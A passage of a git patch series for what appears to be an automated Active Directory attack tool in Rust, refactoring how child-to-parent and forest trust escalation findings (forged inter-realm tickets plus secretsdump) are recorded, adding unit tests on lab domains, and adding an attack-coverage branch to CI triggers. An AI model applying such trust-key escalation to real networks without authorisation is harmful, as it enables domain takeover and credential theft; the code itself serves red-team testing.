details.insert( - "source_domain".into(), - serde_json::Value::String(item.source_domain.clone()), - ); - details.insert( - "target_domain".into(), - serde_json::Value::String(item.target_domain.clone()), - ); - details.insert( - "trust_account".into(), - serde_json::Value::String(item.hash.username.clone()), - ); - details.insert( - "note".into(), - serde_json::Value::String(format!( - "{note_kind} via {} trust key — inter-realm ticket + secretsdump", - item.hash.username - )), - ); - let vuln = ares_core::models::VulnerabilityInfo { - vuln_id: vuln_id.clone(), - vuln_type: vuln_type.to_string(), - target: trust_target, - discovered_by: "trust_automation".to_string(), - discovered_at: chrono::Utc::now(), - details, - recommended_agent: String::new(), - priority: 1, - }; let _ = dispatcher .state .publish_vulnerability(&dispatcher.queue, vuln) @@ -1907,7 +1925,6 @@ pub async fn auto_trust_follow(dispatcher: Arc, mut shutdown: watch: } } let _ = ticket_path; // ccache path is internal to the tool - let _ = trust_target; let call = ToolCall { id: format!("forge_inter_realm_{}", uuid::Uuid::new_v4().simple()), @@ -2878,6 +2895,70 @@ mod tests { assert_eq!(note_kind, "Forest trust escalation"); } + // build_trust_escalation_vuln + + #[test] + fn trust_vuln_intra_forest_uses_child_to_parent_tokens() { + let v = build_trust_escalation_vuln( + "child.contoso.local", + "contoso.local", + "CHILD$", + "192.168.58.20", + ); + assert_eq!(v.vuln_type, "child_to_parent"); + assert_eq!( + v.vuln_id, + "child_to_parent_child_contoso_local_contoso_local" + ); + assert_eq!(v.target, "192.168.58.20"); + assert_eq!(v.priority, 1); + assert_eq!(v.discovered_by, "trust_automation"); + let note = v.details.get("note").and_then(|x| x.as_str()).unwrap(); + assert!(note.starts_with("Child-to-parent escalation via CHILD$ trust key")); + assert_eq!( + v.details.get("source_domain").and_then(|x| x.as_str()), + Some("child.contoso.local") + ); + assert_eq!( + v.details.get("target_domain").and_then(|x| x.as_str()), + Some("contoso.local") + ); + assert_eq!( + v.details.get("trust_account").and_then(|x| x.as_str()), + Some("CHILD$") + ); + } + + #[test] + fn trust_vuln_inter_forest_uses_forest_trust_tokens() { + let v = build_trust_escalation_vuln( + "contoso.local", + "fabrikam.local", + "FABRIKAM$", + "192.168.58.40", + ); + assert_eq!(v.vuln_type, "forest_trust_escalation"); + assert_eq!(v.vuln_id, "forest_trust_contoso.local_fabrikam.local"); + assert_eq!(v.target, "192.168.58.40"); + let note = v.details.get("note").and_then(|x| x.as_str()).unwrap(); + assert!(note.starts_with("Forest trust escalation via FABRIKAM$ trust key")); + } + + #[test] + fn trust_vuln_carries_source_target_and_trust_account_in_details() { + let v = build_trust_escalation_vuln( + "contoso.local", + "fabrikam.local", + "FABRIKAM$", + "192.168.58.40", + ); + // Required scoreboard fields populated. + assert!(v.details.contains_key("source_domain")); + assert!(v.details.contains_key("target_domain")); + assert!(v.details.contains_key("trust_account")); + assert!(v.details.contains_key("note")); + } + #[test] fn classify_trust_escalation_same_domain_treated_as_intra() { // is_inter_forest returns false for s == t, so the helper falls through From 42dae82bad0e6fc062687f27f5be7682f835833c Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Tue, 12 May 2026 16:26:21 -0600 Subject: [PATCH 9/9] ci: add feat/more-attack-cov branch to PR triggers in workflows **Changed:** - Enable GitHub Actions workflows to trigger on pull requests to feat/more-attack-cov branch across all workflow YAML files for improved CI coverage during feature development --- .github/workflows/molecule.yaml | 1 + .github/workflows/pre-commit.yaml | 1 + .github/workflows/rust.yaml | 1 + .github/workflows/semantic-prs.yaml | 1 + .github/workflows/semgrep.yaml | 1 + .github/workflows/test-template-builds.yaml | 1 + .github/workflows/validate-templates.yaml | 1 + 7 files changed, 7 insertions(+) diff --git a/.github/workflows/molecule.yaml b/.github/workflows/molecule.yaml index 0646d668..2e65d4b9 100644 --- a/.github/workflows/molecule.yaml +++ b/.github/workflows/molecule.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/pre-commit.yaml b/.github/workflows/pre-commit.yaml index 611b6259..7e377563 100644 --- a/.github/workflows/pre-commit.yaml +++ b/.github/workflows/pre-commit.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/rust.yaml b/.github/workflows/rust.yaml index 881e95b2..369590b7 100644 --- a/.github/workflows/rust.yaml +++ b/.github/workflows/rust.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/semantic-prs.yaml b/.github/workflows/semantic-prs.yaml index 26a1685a..1dae4b76 100644 --- a/.github/workflows/semantic-prs.yaml +++ b/.github/workflows/semantic-prs.yaml @@ -4,6 +4,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - edited diff --git a/.github/workflows/semgrep.yaml b/.github/workflows/semgrep.yaml index 92b23c25..3d176128 100644 --- a/.github/workflows/semgrep.yaml +++ b/.github/workflows/semgrep.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/test-template-builds.yaml b/.github/workflows/test-template-builds.yaml index e70c0453..20a9db10 100644 --- a/.github/workflows/test-template-builds.yaml +++ b/.github/workflows/test-template-builds.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize diff --git a/.github/workflows/validate-templates.yaml b/.github/workflows/validate-templates.yaml index 9eb7b852..362f1ce3 100644 --- a/.github/workflows/validate-templates.yaml +++ b/.github/workflows/validate-templates.yaml @@ -5,6 +5,7 @@ on: pull_request: branches: - main + - feat/more-attack-cov types: - opened - synchronize